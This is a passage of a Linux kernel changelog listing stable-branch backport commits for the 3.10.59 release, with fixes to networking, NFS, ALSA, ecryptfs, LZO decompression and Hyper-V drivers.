percpu allocation info for uniprocessor system") Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3566592ab6e2621a6e2eafb22c962b495f198e4a Author: Benjamin Coddington Date: Tue Sep 23 12:26:20 2014 -0400 lockd: Try to reconnect if statd has moved commit 173b3afceebe76fa2205b2c8808682d5b541fe3c upstream. If rpc.statd is restarted, upcalls to monitor hosts can fail with ECONNREFUSED. In that case force a lookup of statd's new port and retry the upcall. Signed-off-by: Benjamin Coddington Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8c654d747222e3c1a7b3361bbd4433414770900b Author: Ben Hutchings Date: Fri Oct 31 03:10:31 2014 +0000 drivers/net: macvtap and tun depend on INET [ Upstream commit de11b0e8c569b96c2cf6a811e3805b7aeef498a3 ] These drivers now call ipv6_proxy_select_ident(), which is defined only if CONFIG_INET is enabled. However, they have really depended on CONFIG_INET for as long as they have allowed sending GSO packets from userland. Reported-by: kbuild test robot Signed-off-by: Ben Hutchings Fixes: f43798c27684 ("tun: Allow GSO using virtio_net_hdr") Fixes: b9fb9ee07e67 ("macvtap: add GSO/csum offload support") Fixes: 5188cd44c55d ("drivers/net, ipv6: Select IPv6 fragment idents for virtio UFO packets") Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6eaa99db12e3256892d9ce17e86a2a36ea13f591 Author: Vasily Averin Date: Wed Oct 15 16:24:02 2014 +0400 ipv4: dst_entry leak in ip_send_unicast_reply() [ Upstream commit 4062090e3e5caaf55bed4523a69f26c3265cc1d2 ] ip_setup_cork() called inside ip_append_data() steals dst entry from rt to cork and in case errors in __ip_append_data() nobody frees stolen dst entry Fixes: 2e77d89b2fa8 ("net: avoid a pair of dst_hold()/dst_release() in ip_append_data()") Signed-off-by: Vasily Averin Acked-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 41b573c9c3cccb231178b47de42d719682a8b47a Author: Ian Morgan Date: Sun Oct 19 08:05:13 2014 -0400 ax88179_178a: fix bonding failure [ Upstream commit 95ff88688781db2f64042e69bd499e518bbb36e5 ] The following patch fixes a bug which causes the ax88179_178a driver to be incapable of being added to a bond. When I brought up the issue with the bonding maintainers, they indicated that the real problem was with the NIC driver which must return zero for success (of setting the MAC address). I see that several other NIC drivers follow that pattern by either simply always returing zero, or by passing through a negative (error) result while rewriting any positive return code to zero. With that same philisophy applied to the ax88179_178a driver, it allows it to work correctly with the bonding driver. I believe this is suitable for queuing in -stable, as it's a small, simple, and obvious fix that corrects a defect with no other known workaround. This patch is against vanilla 3.17(.0). Signed-off-by: Ian Morgan Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 85f87f016b163800714fb9d81d2289e5ace5deab Author: Jiri Pirko Date: Mon Oct 13 16:34:10 2014 +0200 ipv4: fix nexthop attlen check in fib_nh_match [ Upstream commit f76936d07c4eeb36d8dbb64ebd30ab46ff85d9f7 ] fib_nh_match does not match nexthops correctly. Example: ip route add 172.16.10/24 nexthop via 192.168.122.12 dev eth0 \ nexthop via 192.168.122.13 dev eth0 ip route del 172.16.10/24 nexthop via 192.168.122.14 dev eth0 \ nexthop via 192.168.122.15 dev eth0 Del command is successful and route is removed. After this patch applied, the route is correctly matched and result is: RTNETLINK answers: No such process Please consider this for stable trees as well. Fixes: 4e902c57417c4 ("[IPv4]: FIB configuration using struct fib_config") Signed-off-by: Jiri Pirko Acked-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 190acdcbd1b5791816102a92f69ddcef7e3f52d9 Author: Greg Kroah-Hartman Date: Thu Oct 30 09:35:42 2014 -0700 Linux 3.10.59 Signed-off-by: Pranav Vashi commit 126a90e1e86ae2455ab051c463a3c16559cb1ffb Author: Chao Yu Date: Thu Jul 24 17:25:42 2014 +0800 ecryptfs: avoid to access NULL pointer when write metadata in xattr commit 35425ea2492175fd39f6116481fe98b2b3ddd4ca upstream. Christopher Head 2014-06-28 05:26:20 UTC described: "I tried to reproduce this on 3.12.21. Instead, when I do "echo hello > foo" in an ecryptfs mount with ecryptfs_xattr specified, I get a kernel crash: BUG: unable to handle kernel NULL pointer dereference at (null) IP: [] fsstack_copy_attr_all+0x2/0x61 PGD d7840067 PUD b2c3c067 PMD 0 Oops: 0002 [#1] SMP Modules linked in: nvidia(PO) CPU: 3 PID: 3566 Comm: bash Tainted: P O 3.12.21-gentoo-r1 #2 Hardware name: ASUSTek Computer Inc. G60JX/G60JX, BIOS 206 03/15/2010 task: ffff8801948944c0 ti: ffff8800bad70000 task.ti: ffff8800bad70000 RIP: 0010:[] [] fsstack_copy_attr_all+0x2/0x61 RSP: 0018:ffff8800bad71c10 EFLAGS: 00010246 RAX: 00000000000181a4 RBX: ffff880198648480 RCX: 0000000000000000 RDX: 0000000000000004 RSI: ffff880172010450 RDI: 0000000000000000 RBP: ffff880198490e40 R08: 0000000000000000 R09: 0000000000000000 R10: ffff880172010450 R11: ffffea0002c51e80 R12: 0000000000002000 R13: 000000000000001a R14: 0000000000000000 R15: ffff880198490e40 FS: 00007ff224caa700(0000) GS:ffff88019fcc0000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000000000000000 CR3: 00000000bb07f000 CR4: 00000000000007e0 Stack: ffffffff811826e8 ffff8800a39d8000 0000000000000000 000000000000001a ffff8800a01d0000 ffff8800a39d8000 ffffffff81185fd5 ffffffff81082c2c 00000001a39d8000 53d0abbc98490e40 0000000000000037 ffff8800a39d8220 Call Trace: [] ? ecryptfs_setxattr+0x40/0x52 [] ? ecryptfs_write_metadata+0x1b3/0x223 [] ? should_resched+0x5/0x23 [] ? ecryptfs_initialize_file+0xaf/0xd4 [] ? ecryptfs_create+0xf4/0x142 [] ? vfs_create+0x48/0x71 [] ? do_last.isra.68+0x559/0x952 [] ? link_path_walk+0xbd/0x458 [] ? path_openat+0x224/0x472 [] ? do_filp_open+0x2b/0x6f [] ? __alloc_fd+0xd6/0xe7 [] ? do_sys_open+0x65/0xe9 [] ? system_call_fastpath+0x16/0x1b RIP [] fsstack_copy_attr_all+0x2/0x61 RSP CR2: 0000000000000000 ---[ end trace df9dba5f1ddb8565 ]---" If we create a file when we mount with ecryptfs_xattr_metadata option, we will encounter a crash in this path: ->ecryptfs_create ->ecryptfs_initialize_file ->ecryptfs_write_metadata ->ecryptfs_write_metadata_to_xattr ->ecryptfs_setxattr ->fsstack_copy_attr_all It's because our dentry->d_inode used in fsstack_copy_attr_all is NULL, and it will be initialized when ecryptfs_initialize_file finish. So we should skip copying attr from lower inode when the value of ->d_inode is invalid. Signed-off-by: Chao Yu Signed-off-by: Tyler Hicks Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6f375b57bedb4053ac21862b159ba61a7df96113 Author: Ludovic Desroches Date: Mon Sep 22 15:51:33 2014 +0200 ARM: at91/PMC: don't forget to write PMC_PCDR register to disable clocks commit cfa1950e6c6b72251e80adc736af3c3d2907ab0e upstream. When introducing support for sama5d3, the write to PMC_PCDR register has been accidentally removed. Reported-by: Nathalie Cyrille Signed-off-by: Ludovic Desroches Signed-off-by: Nicolas Ferre Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6668dee34d9cb06cb509d0b811ae9ef767fff3f7 Author: Vlad Catoi Date: Sat Oct 18 17:45:41 2014 -0500 ALSA: usb-audio: Add support for Steinberg UR22 USB interface commit f0b127fbfdc8756eba7437ab668f3169280bd358 upstream. Adding support for Steinberg UR22 USB interface via quirks table patch See Ubuntu bug report: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1317244 Also see threads: http://linux-audio.4202.n7.nabble.com/Support-for-Steinberg-UR22-Yamaha-USB-chipset-0499-1509-tc82888.html#a82917 http://www.steinberg.net/forums/viewtopic.php?t=62290 Tested by at least 4 people judging by the threads. Did not test MIDI interface, but audio output and capture both are functional. Built 3.17 kernel with this driver on Ubuntu 14.04 & tested with mpg123 Patch applied to 3.13 Ubuntu kernel works well enough for daily use. Signed-off-by: Vlad Catoi Acked-by: Clemens Ladisch Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5d6a3c897e018c3309eb32349892e9d44e0dd4ee Author: Takashi Iwai Date: Mon Oct 13 23:18:02 2014 +0200 ALSA: emu10k1: Fix deadlock in synth voice lookup commit 95926035b187cc9fee6fb61385b7da9c28123f74 upstream. The emu10k1 voice allocator takes voice_lock spinlock. When there is no empty stream available, it tries to release a voice used by synth, and calls get_synth_voice. The callback function, snd_emu10k1_synth_get_voice(), however, also takes the voice_lock, thus it deadlocks. The fix is simply removing the voice_lock holds in snd_emu10k1_synth_get_voice(), as this is always called in the spinlock context. Reported-and-tested-by: Arthur Marsh Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e5270251f4f454742846877e2ab39802ec3a8406 Author: Anatol Pomozov Date: Fri Oct 17 12:43:34 2014 -0700 ALSA: pcm: use the same dma mmap codepath both for arm and arm64 commit a011e213f3700233ed2a676f1ef0a74a052d7162 upstream. This avoids following kernel crash when try to playback on arm64 [ 107.497203] [] snd_pcm_mmap_data_fault+0x90/0xd4 [ 107.503405] [] __do_fault+0xb0/0x498 [ 107.508565] [] handle_mm_fault+0x224/0x7b0 [ 107.514246] [] do_page_fault+0x11c/0x310 [ 107.519738] [] do_mem_abort+0x38/0x98 Tested: backported to 3.14 and tried to playback on arm64 machine Signed-off-by: Anatol Pomozov Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7a6c9804d5ece0c22caa19993876088e27b8165f Author: Victor Kamensky Date: Tue Oct 14 06:55:05 2014 +0100 arm64: compat: fix compat types affecting struct compat_elf_prpsinfo commit 971a5b6fe634bb7b617d8c5f25b6a3ddbc600194 upstream. The compat_elf_prpsinfo structure does not match the arch/arm struct elf_pspsinfo definition. As result NT_PRPSINFO note in core file created by arm64 kernel for aarch32 (compat) process has wrong size. So gdb cannot display command that caused process crash. Fix is to change size of __compat_uid_t, __compat_gid_t so it would match size of similar fields in arch/arm case. Signed-off-by: Victor Kamensky Acked-by: Arnd Bergmann Signed-off-by: Catalin Marinas Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e378e659dd16d40e3f206861a99a815564ffdbf7 Author: Andy Shevchenko Date: Thu Sep 18 20:08:53 2014 +0300 spi: dw-mid: terminate ongoing transfers at exit commit 8e45ef682cb31fda62ed4eeede5d9745a0a1b1e2 upstream. Do full clean up at exit, means terminate all ongoing DMA transfers. Signed-off-by: Andy Shevchenko Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1bd882d3261b37e67ee552efa666bc1c486cf630 Author: Sasha Levin Date: Mon Oct 13 15:51:05 2014 -0700 kernel: add support for gcc 5 commit 71458cfc782eafe4b27656e078d379a34e472adf upstream. We're missing include/linux/compiler-gcc5.h which is required now because gcc branched off to v5 in trunk. Just copy the relevant bits out of include/linux/compiler-gcc4.h, no new code is added as of now. This fixes a build error when using gcc 5. Signed-off-by: Sasha Levin Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 90ef03ea61f55cc9fd33b7fee259617be064ad9b Author: Yann Droneaud Date: Thu Oct 9 15:24:40 2014 -0700 fanotify: enable close-on-exec on events' fd when requested in fanotify_init() commit 0b37e097a648aa71d4db1ad108001e95b69a2da4 upstream. According to commit 80af258867648 ("fanotify: groups can specify their f_flags for new fd"), file descriptors created as part of file access notification events inherit flags from the event_f_flags argument passed to syscall fanotify_init(2)[1]. Unfortunately O_CLOEXEC is currently silently ignored. Indeed, event_f_flags are only given to dentry_open(), which only seems to care about O_ACCMODE and O_PATH in do_dentry_open(), O_DIRECT in open_check_o_direct() and O_LARGEFILE in generic_file_open(). It's a pity, since, according to some lookup on various search engines and http://codesearch.debian.net/, there's already some userspace code which use O_CLOEXEC: - in systemd's readahead[2]: fanotify_fd = fanotify_init(FAN_CLOEXEC|FAN_NONBLOCK, O_RDONLY|O_LARGEFILE|O_CLOEXEC|O_NOATIME); - in clsync[3]: #define FANOTIFY_EVFLAGS (O_LARGEFILE|O_RDONLY|O_CLOEXEC) int fanotify_d = fanotify_init(FANOTIFY_FLAGS, FANOTIFY_EVFLAGS); - in examples [4] from "Filesystem monitoring in the Linux kernel" article[5] by Aleksander Morgado: if ((fanotify_fd = fanotify_init (FAN_CLOEXEC, O_RDONLY | O_CLOEXEC | O_LARGEFILE)) < 0) Additionally, since commit 48149e9d3a7e ("fanotify: check file flags passed in fanotify_init"). having O_CLOEXEC as part of fanotify_init() second argument is expressly allowed. So it seems expected to set close-on-exec flag on the file descriptors if userspace is allowed to request it with O_CLOEXEC. But Andrew Morton raised[6] the concern that enabling now close-on-exec might break existing applications which ask for O_CLOEXEC but expect the file descriptor to be inherited across exec(). In the other hand, as reported by Mihai Dontu[7] close-on-exec on the file descriptor returned as part of file access notify can break applications due to deadlock. So close-on-exec is needed for most applications. More, applications asking for close-on-exec are likely expecting it to be enabled, relying on O_CLOEXEC being effective. If not, it might weaken their security, as noted by Jan Kara[8]. So this patch replaces call to macro get_unused_fd() by a call to function get_unused_fd_flags() with event_f_flags value as argument. This way O_CLOEXEC flag in the second argument of fanotify_init(2) syscall is interpreted and close-on-exec get enabled when requested. [1] http://man7.org/linux/man-pages/man2/fanotify_init.2.html [2] http://cgit.freedesktop.org/systemd/systemd/tree/src/readahead/readahead-collect.c?id=v208#n294 [3] https://github.com/xaionaro/clsync/blob/v0.2.1/sync.c#L1631 https://github.com/xaionaro/clsync/blob/v0.2.1/configuration.h#L38 [4] http://www.lanedo.com/~aleksander/fanotify/fanotify-example.c [5] http://www.lanedo.com/2013/filesystem-monitoring-linux-kernel/ [6] http://lkml.kernel.org/r/20141001153621.65e9258e65a6167bf2e4cb50@linux-foundation.org [7] http://lkml.kernel.org/r/20141002095046.3715eb69@mdontu-l [8] http://lkml.kernel.org/r/20141002104410.GB19748@quack.suse.cz Link: http://lkml.kernel.org/r/cover.1411562410.git.ydroneaud@opteya.com Signed-off-by: Yann Droneaud Reviewed-by: Jan Kara Reviewed by: Heinrich Schuchardt Tested-by: Heinrich Schuchardt Cc: Mihai Don\u021bu Cc: Pádraig Brady Cc: Heinrich Schuchardt Cc: Jan Kara Cc: Valdis Kletnieks Cc: Michael Kerrisk-manpages Cc: Lino Sanfilippo Cc: Richard Guy Briggs Cc: Eric Paris Cc: Al Viro Cc: Michael Kerrisk Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bd1b6577c9b56a9c100333952adb365b521f9d1f Author: Junxiao Bi Date: Thu Oct 9 15:28:23 2014 -0700 mm: clear __GFP_FS when PF_MEMALLOC_NOIO is set commit 934f3072c17cc8886f4c043b47eeeb1b12f8de33 upstream. commit 21caf2fc1931 ("mm: teach mm by current context info to not do I/O during memory allocation") introduces PF_MEMALLOC_NOIO flag to avoid doing I/O inside memory allocation, __GFP_IO is cleared when this flag is set, but __GFP_FS implies __GFP_IO, it should also be cleared. Or it may still run into I/O, like in superblock shrinker. And this will make the kernel run into the deadlock case described in that commit. See Dave Chinner's comment about io in superblock shrinker: Filesystem shrinkers do indeed perform IO from the superblock shrinker and have for years. Even clean inodes can require IO before they can be freed - e.g. on an orphan list, need truncation of post-eof blocks, need to wait for ordered operations to complete before it can be freed, etc. IOWs, Ext4, btrfs and XFS all can issue and/or block on arbitrary amounts of IO in the superblock shrinker context. XFS, in particular, has been doing transactions and IO from the VFS inode cache shrinker since it was first introduced.... Fix this by clearing __GFP_FS in memalloc_noio_flags(), this function has masked all the gfp_mask that will be passed into fs for the processes setting PF_MEMALLOC_NOIO in the direct reclaim path. v1 thread at: https://lkml.org/lkml/2014/9/3/32 Signed-off-by: Junxiao Bi Cc: Dave Chinner Cc: joyce.xue Cc: Ming Lei Cc: Trond Myklebust Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 11033345159f724fd73e5696343b0a1d435ff378 Author: Champion Chen Date: Sat Sep 6 14:06:08 2014 -0500 Bluetooth: Fix issue with USB suspend in btusb driver commit 85560c4a828ec9c8573840c9b66487b6ae584768 upstream. Suspend could fail for some platforms because btusb_suspend==> btusb_stop_traffic ==> usb_kill_anchored_urbs. When btusb_bulk_complete returns before system suspend and resubmits an URB, the system cannot enter suspend state. Signed-off-by: Champion Chen Signed-off-by: Larry Finger Signed-off-by: Marcel Holtmann Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c046902085c7796b351dad62c48b1af4d97cf764 Author: Loic Poulain Date: Fri Aug 8 19:07:16 2014 +0200 Bluetooth: Fix HCI H5 corrupted ack value commit 4807b51895dce8aa650ebebc51fa4a795ed6b8b8 upstream. In this expression: seq = (seq - 1) % 8 seq (u8) is implicitly converted to an int in the arithmetic operation. So if seq value is 0, operation is ((0 - 1) % 8) => (-1 % 8) => -1. The new seq value is 0xff which is an invalid ACK value, we expect 0x07. It leads to frequent dropped ACK and retransmission. Fix this by using '&' binary operator instead of '%'. Signed-off-by: Loic Poulain Signed-off-by: Marcel Holtmann Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 35d998f96320e03d9338fb4b3ee18ba56475f69c Author: Stanislaw Gruszka Date: Wed Sep 24 11:24:54 2014 +0200 rt2800: correct BBP1_TX_POWER_CTRL mask commit 01f7feeaf4528bec83798316b3c811701bac5d3e upstream. Two bits control TX power on BBP_R1 register. Correct the mask, otherwise we clear additional bit on BBP_R1 register, what can have unknown, possible negative effect. Signed-off-by: Stanislaw Gruszka Signed-off-by: John W. Linville Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4b8c8e116684016de7e111cf0326cb1369ec3af4 Author: Ricardo Ribalda Delgado Date: Wed Aug 27 14:57:57 2014 +0200 PCI: Generate uppercase hex for modalias interface class commit 89ec3dcf17fd3fa009ecf8faaba36828dd6bc416 upstream. Some implementations of modprobe fail to load the driver for a PCI device automatically because the "interface" part of the modalias from the kernel is lowercase, and the modalias from file2alias is uppercase. The "interface" is the low-order byte of the Class Code, defined in PCI r3.0, Appendix D. Most interface types defined in the spec do not use alpha characters, so they won't be affected. For example, 00h, 01h, 10h, 20h, etc. are unaffected. Print the "interface" byte of the Class Code in uppercase hex, as we already do for the Vendor ID, Device ID, Class, etc. [bhelgaas: changelog] Signed-off-by: Ricardo Ribalda Delgado Signed-off-by: Bjorn Helgaas Acked-by: Greg Kroah-Hartman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9c60e7885eefd1516a766cb0519f85100d2de0d5 Author: Douglas Lehr Date: Thu Aug 21 09:26:52 2014 +1000 PCI: Increase IBM ipr SAS Crocodile BARs to at least system page size commit 9fe373f9997b48fcd6222b95baf4a20c134b587a upstream. The Crocodile chip occasionally comes up with 4k and 8k BAR sizes. Due to an erratum, setting the SR-IOV page size causes the physical function BARs to expand to the system page size. Since ppc64 uses 64k pages, when Linux tries to assign the smaller resource sizes to the now 64k BARs the address will be truncated and the BARs will overlap. Force Linux to allocate the resource as a full page, which avoids the overlap. [bhelgaas: print expanded resource, too] Signed-off-by: Douglas Lehr Signed-off-by: Anton Blanchard Signed-off-by: Bjorn Helgaas Acked-by: Milton Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a95a6a1759af733804ffcc76ee07c2d842d04265 Author: Oren Givon Date: Wed Sep 17 10:31:56 2014 +0300 iwlwifi: Add missing PCI IDs for the 7260 series commit 4f08970f5284dce486f0e2290834aefb2a262189 upstream. Add 4 missing PCI IDs for the 7260 series. Signed-off-by: Oren Givon Signed-off-by: Emmanuel Grumbach Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3dc295f87ee99851bb40b512434b76f8d66f80b5 Author: Andy Adamson Date: Mon Sep 29 12:31:57 2014 -0400 NFSv4.1: Fix an NFSv4.1 state renewal regression commit d1f456b0b9545f1606a54cd17c20775f159bd2ce upstream. Commit 2f60ea6b8ced ("NFSv4: The NFSv4.0 client must send RENEW calls if it holds a delegation") set the NFS4_RENEW_TIMEOUT flag in nfs4_renew_state, and does not put an nfs41_proc_async_sequence call, the NFSv4.1 lease renewal heartbeat call, on the wire to renew the NFSv4.1 state if the flag was not set. The NFS4_RENEW_TIMEOUT flag is set when "now" is after the last renewal (cl_last_renewal) plus the lease time divided by 3. This is arbitrary and sometimes does the following: In normal operation, the only way a future state renewal call is put on the wire is via a call to nfs4_schedule_state_renewal, which schedules a nfs4_renew_state workqueue task. nfs4_renew_state determines if the NFS4_RENEW_TIMEOUT should be set, and the calls nfs41_proc_async_sequence, which only gets sent if the NFS4_RENEW_TIMEOUT flag is set. Then the nfs41_proc_async_sequence rpc_release function schedules another state remewal via nfs4_schedule_state_renewal. Without this change we can get into a state where an application stops accessing the NFSv4.1 share, state renewal calls stop due to the NFS4_RENEW_TIMEOUT flag _not_ being set. The only way to recover from this situation is with a clientid re-establishment, once the application resumes and the server has timed out the lease and so returns NFS4ERR_BAD_SESSION on the subsequent SEQUENCE operation. An example application: open, lock, write a file. sleep for 6 * lease (could be less) ulock, close. In the above example with NFSv4.1 delegations enabled, without this change, there are no OP_SEQUENCE state renewal calls during the sleep, and the clientid is recovered due to lease expiration on the close. This issue does not occur with NFSv4.1 delegations disabled, nor with NFSv4.0, with or without delegations enabled. Signed-off-by: Andy Adamson Link: http://lkml.kernel.org/r/1411486536-23401-1-git-send-email-andros@netapp.com Fixes: 2f60ea6b8ced (NFSv4: The NFSv4.0 client must send RENEW calls...) Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4bf3f1a3eea843f53b5a6a28843db868ddf24730 Author: Trond Myklebust Date: Sat Sep 27 17:41:51 2014 -0400 NFSv4: fix open/lock state recovery error handling commit df817ba35736db2d62b07de6f050a4db53492ad8 upstream. The current open/lock state recovery unfortunately does not handle errors such as NFS4ERR_CONN_NOT_BOUND_TO_SESSION correctly. Instead of looping, just proceeds as if the state manager is finished recovering. This patch ensures that we loop back, handle higher priority errors and complete the open/lock state recovery. Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0cadc362d0d35f247b41c726e21c8431ea01e5a9 Author: Trond Myklebust Date: Sat Sep 27 17:02:26 2014 -0400 NFSv4: Fix lock recovery when CREATE_SESSION/SETCLIENTID_CONFIRM fails commit a4339b7b686b4acc8b6de2b07d7bacbe3ae44b83 upstream. If a NFSv4.x server returns NFS4ERR_STALE_CLIENTID in response to a CREATE_SESSION or SETCLIENTID_CONFIRM in order to tell us that it rebooted a second time, then the client will currently take this to mean that it must declare all locks to be stale, and hence ineligible for reboot recovery. RFC3530 and RFC5661 both suggest that the client should instead rely on the server to respond to inelegible open share, lock and delegation reclaim requests with NFS4ERR_NO_GRACE in this situation. Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3a6fd3af2b876ed7cd2208a22e901e6e43a49b8b Author: Willy Tarreau Date: Sat Sep 27 12:31:37 2014 +0200 lzo: check for length overrun in variable length encoding. commit 72cf90124e87d975d0b2114d930808c58b4c05e4 upstream. This fix ensures that we never meet an integer overflow while adding 255 while parsing a variable length encoding. It works differently from commit 206a81c ("lzo: properly check for overruns") because instead of ensuring that we don't overrun the input, which is tricky to guarantee due to many assumptions in the code, it simply checks that the cumulated number of 255 read cannot overflow by bounding this number. The MAX_255_COUNT is the maximum number of times we can add 255 to a base count without overflowing an integer. The multiply will overflow when multiplying 255 by more than MAXINT/255. The sum will overflow earlier depending on the base count. Since the base count is taken from a u8 and a few bits, it is safe to assume that it will always be lower than or equal to 2*255, thus we can always prevent any overflow by accepting two less 255 steps. This patch also reduces the CPU overhead and actually increases performance by 1.1% compared to the initial code, while the previous fix costs 3.1% (measured on x86_64). The fix needs to be backported to all currently supported stable kernels. Reported-by: Willem Pinckaers Cc: "Don A. Bailey" Signed-off-by: Willy Tarreau Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d6d0a7f8c4442874f7747935533ca14760b167cf Author: Willy Tarreau Date: Sat Sep 27 12:31:36 2014 +0200 Revert "lzo: properly check for overruns" commit af958a38a60c7ca3d8a39c918c1baa2ff7b6b233 upstream. This reverts commit 206a81c ("lzo: properly check for overruns"). As analysed by Willem Pinckaers, this fix is still incomplete on certain rare corner cases, and it is easier to restart from the original code. Reported-by: Willem Pinckaers Cc: "Don A. Bailey" Signed-off-by: Willy Tarreau Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7490243b38246bce322ece920ad12d4c1c646a1a Author: Willy Tarreau Date: Sat Sep 27 12:31:35 2014 +0200 Documentation: lzo: document part of the encoding commit d98a0526434d27e261f622cf9d2e0028b5ff1a00 upstream. Add a complete description of the LZO format as processed by the decompressor. I have not found a public specification of this format hence this analysis, which will be used to better understand the code. Cc: Willem Pinckaers Cc: "Don A. Bailey" Signed-off-by: Willy Tarreau Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 653fb1326e3083a5f102594890b82eaf161cca83 Author: Geert Uytterhoeven Date: Sun Sep 28 10:50:06 2014 +0200 m68k: Disable/restore interrupts in hwreg_present()/hwreg_write() commit e4dc601bf99ccd1c95b7e6eef1d3cf3c4b0d4961 upstream. hwreg_present() and hwreg_write() temporarily change the VBR register to another vector table. This table contains a valid bus error handler only, all other entries point to arbitrary addresses. If an interrupt comes in while the temporary table is active, the processor will start executing at such an arbitrary address, and the kernel will crash. While most callers run early, before interrupts are enabled, or explicitly disable interrupts, Finn Thain pointed out that macsonic has one callsite that doesn't, causing intermittent boot crashes. There's another unsafe callsite in hilkbd. Fix this for good by disabling and restoring interrupts inside hwreg_present() and hwreg_write(). Explicitly disabling interrupts can be removed from the callsites later. Reported-by: Finn Thain Signed-off-by: Geert Uytterhoeven Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 200e6857e8b08e73a8dfff2dad9ea80c6815a800 Author: K. Y. Srinivasan Date: Wed Aug 27 16:25:35 2014 -0700 Drivers: hv: vmbus: Fix a bug in vmbus_open() commit 45d727cee9e200f5b351528b9fb063b69cf702c8 upstream. Fix a bug in vmbus_open() and properly propagate the error. I would like to thank Dexuan Cui for identifying the issue. Signed-off-by: K. Y. Srinivasan Tested-by: Sitsofe Wheeler Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5a03c28a7deb85302faa9a175d5f4b9e47a60999 Author: K. Y. Srinivasan Date: Wed Aug 27 16:25:34 2014 -0700 Drivers: hv: vmbus: Cleanup vmbus_establish_gpadl() commit 72c6b71c245dac8f371167d97ef471b367d0b66b upstream. Eliminate the call to BUG_ON() by waiting for the host to respond. We are trying to reclaim the ownership of memory that was given to the host and so we will have to wait until the host responds. Signed-off-by: K. Y. Srinivasan Tested-by: Sitsofe Wheeler Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fd009347666768df06eb7c78bc3ac7ec0af07c10 Author: K. Y. Srinivasan Date: Wed Aug 27 16:25:32 2014 -0700 Drivers: hv: vmbus: Cleanup vmbus_teardown_gpadl() commit 66be653083057358724d56d817e870e53fb81ca7 upstream. Eliminate calls to BUG_ON() by properly handling errors. In cases where rollback is possible, we will return the appropriate error to have the calling code decide how to rollback state. In the case where we are transferring ownership of the guest physical pages to the host, we will wait for the host to respond. Signed-off-by: K. Y. Srinivasan Tested-by: Sitsofe Wheeler Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8933e5f171e3c752b2ce26697ad4c0efa3bb2fa0 Author: K. Y. Srinivasan Date: Wed Aug 27 16:25:31 2014 -0700 Drivers: hv: vmbus: Cleanup vmbus_post_msg() commit fdeebcc62279119dbeafbc1a2e39e773839025fd upstream. Posting messages to the host can fail because of transient resource related failures. Correctly deal with these failures and increase the number of attempts to post the message before giving up. In this version of the patch, I have normalized the error code to Linux error code. Signed-off-by: K. Y. Srinivasan Tested-by: Sitsofe Wheeler Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bc498c2b0b5549f68a2cd4cda01b4eb7296f1ff5 Author: Arun Easi Date: Thu Sep 25 06:14:45 2014 -0400 qla2xxx: Use correct offset to req-q-out for reserve calculation commit 75554b68ac1e018bca00d68a430b92ada8ab52dd upstream. Signed-off-by: Arun Easi Signed-off-by: Saurav Kashyap Signed-off-by: Christoph Hellwig Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e589f7fab6d5eaaab3a1d71361814627fa9cbde4 Author: Chris J Arges Date: Tue Sep 23 09:22:25 2014 -0500 mptfusion: enable no_write_same for vmware scsi disks commit 4089b71cc820a426d601283c92fcd4ffeb5139c2 upstream. When using a virtual SCSI disk in a VMWare VM if blkdev_issue_zeroout is used data can be improperly zeroed out using the mptfusion driver. This patch disables write_same for this driver and the vmware subsystem_vendor which ensures that manual zeroing out is used instead. BugLink: http://bugs.launchpad.net/bugs/1371591 Reported-by: Bruce Lucas Tested-by: Chris J Arges Signed-off-by: Chris J Arges Reviewed-by: Martin K. Petersen Signed-off-by: Christoph Hellwig Signed-off-by: Greg Kroah-Hartman 